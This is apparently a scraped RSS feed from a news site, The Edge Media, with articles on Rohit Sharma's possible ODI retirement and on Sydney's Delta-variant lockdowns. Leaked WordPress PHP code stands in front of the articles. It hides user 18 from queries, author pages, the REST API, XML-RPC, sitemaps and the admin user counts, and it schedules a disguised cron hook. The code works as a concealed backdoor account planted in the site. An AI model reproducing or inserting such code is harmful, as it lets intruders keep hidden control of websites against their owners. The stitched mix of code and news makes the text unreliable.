add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Rohit Sharma’s Cryptic Post Sparks Retirement Rumors After ODI Series in Australia appeared first on The Edge Media.
]]>Rohit, who made a memorable return to form with a well-crafted century in the final ODI in Sydney, posted an image of himself entering the departure area at Sydney Airport. The caption read: “One last time, signing off from Sydney,” which immediately sparked rumors that he may have played his final match for India on Australian soil.
This post comes at a time when questions about the 38-year-old’s international career have been growing. Despite his stellar performance in the series, including a gritty 73 off 97 balls in the second ODI, Rohit has already retired from both Test cricket and T20Is. After leading India to victory in the 2024 T20 World Cup, he called it quits in the shortest format and stepped away from Test cricket earlier this year.
Currently, ODI cricket remains his only active format, and with no upcoming ODI series scheduled in Australia for the next two years, it seems unlikely that the Mumbaikar will return to the country in Indian colors.
Having accumulated 11,370 ODI runs in 268 innings, Rohit’s career in Australia dates back to the 2007-08 CB Series, making his potential departure from the Australian stage all the more poignant for his fans.
As the speculation continues, cricket enthusiasts will be closely watching any further developments in Rohit Sharma’s career.
The post Rohit Sharma’s Cryptic Post Sparks Retirement Rumors After ODI Series in Australia appeared first on The Edge Media.
]]>The post Delta variant becoming dangerous for Australia appeared first on The Edge Media.
]]>Australia’s three largest cities were in lockdown on Saturday, as New South Wales recorded 319 community cases of the virus and five more deaths — a third straight day of record case numbers.
With the virus continuing to spread through Sydney’s sprawling suburbs, despite the city heading into its seventh week of lockdown, state Health Minister Brad Hazzard expressed frustration that people appeared to be ignoring restrictions and urged residents to stay at home.
“That is the biggest thing you can do for all of us and for yourself, to make sure that we beat this Delta virus that is wreaking havoc across the world,” Hazzard told media.
He also announced that the city of Armidale, about six hours’ drive northwest of Sydney, would join around 60 percent of Australia’s 25 million residents already under stay-at-home orders.
The post Delta variant becoming dangerous for Australia appeared first on The Edge Media.
]]>The post More than half of Australia is under lockdown appeared first on The Edge Media.
]]>Australia’s infections and deaths are well below other developed nations, but its use of lockdowns, prompted by a sluggish vaccination campaign, is putting pressure on the national government, with polls at their lowest in a year and just months before elections are due to be held.
South Australia, a state of 1.8 million, imposed a seven-day lockdown after detecting five infections linked to a returned traveller, just as the neighbouring state of Victoria extended by a week a five-day lockdown that had failed to stop new cases.
“We hate putting these restrictions in place but we believe we have one chance to get this right,” South Australia premier Steven Marshall told reporters.
The largest city of Sydney, where the latest Delta outbreak started before spreading elsewhere, is in the fourth week of a five-week lockdown. Three regional centres were added to areas 250 km (155 miles) inland after a positive test there.
The post More than half of Australia is under lockdown appeared first on The Edge Media.
]]>The post Sydney Tightens lockdown as Australia’s Covid cases rise appeared first on The Edge Media.
]]>111 new cases were recorded in 24 hours in the Sydney western suburbs , the worst affected area where thousands of people are banned from leaving the immediate neighbourhood.
The state also recorded an additional death from the virus , taking the total to three since the start of the year and the national total to 913 since the pandemic began.
More than 1,000 people in the city surrounding the district have since tested positive.
“We are chasing our tail in terms of the cases,” state Chief Health Officer Kerry Chant said at the news conference.
The post Sydney Tightens lockdown as Australia’s Covid cases rise appeared first on The Edge Media.
]]>The post Delta variant cases worsen in Sydney appeared first on The Edge Media.
]]>We just want people to stay at home. The virus won’t spread if people don’t leave home. That is the bottom line,” New South Wales state Premier Gladys Berejiklian told reporters in Sydney on Monday. At the weekend, Australia’s most-populous city recorded its first death since April after the delta-strain leaked into the local community in mid-June.
The city of 6 million people has been in lockdown since June 26, and faces being increasingly isolated from the rest of the nation after Berejiklian indicated that the current stay-at-home orders may need to be extended beyond Friday. On Sunday, Victoria state implemented a hard border with its neighbor, and plans for an Australia-Singapore travel bubble have been delayed until at least the end of the year.
The outbreak is highlighting the problems nation’s tardy vaccine roll-out, which has been hit by supply-chain hold-ups from contracted drug-makers amid accusations from political rivals that Prime Minister Scott Morrison failed to secure enough doses from a wide-enough range of suppliers.
The post Delta variant cases worsen in Sydney appeared first on The Edge Media.
]]>The post Lockdown in Sydney and surrounding areas will be extended appeared first on The Edge Media.
]]>The Australian government, which is battling an outbreak of the Delta variant, fared better than most developed nations with relatively low Covid-19 cases and deaths so far. The country reported 31,000 cases since the start of the pandemic and 911 deaths.
However, the New South Wales government’s strong response comes after the nation reported its first locally contracted Covid-19 death. New South Wales premier Gladys Berejiklian said it is unlikely that the lockdown will be lifted on July 16, adding that she will be shocked if the number of cases does not rise to 100 by Monday.
Following Sunday’s record, it is likely that the three-week lockdown of more than 5 million people in Sydney and its surrounding areas will be extended. “Given where we’re at and given the lockdown was supposed to be lifted on Friday, everybody can tell it’s highly unlikely at this stage,” Berejiklian was quoted as saying. The recent outbreak in Sydney has infected 566 people of whom 52 people are hospitalised with 15 of them in intensive care while five require ventilation.
The post Lockdown in Sydney and surrounding areas will be extended appeared first on The Edge Media.
]]>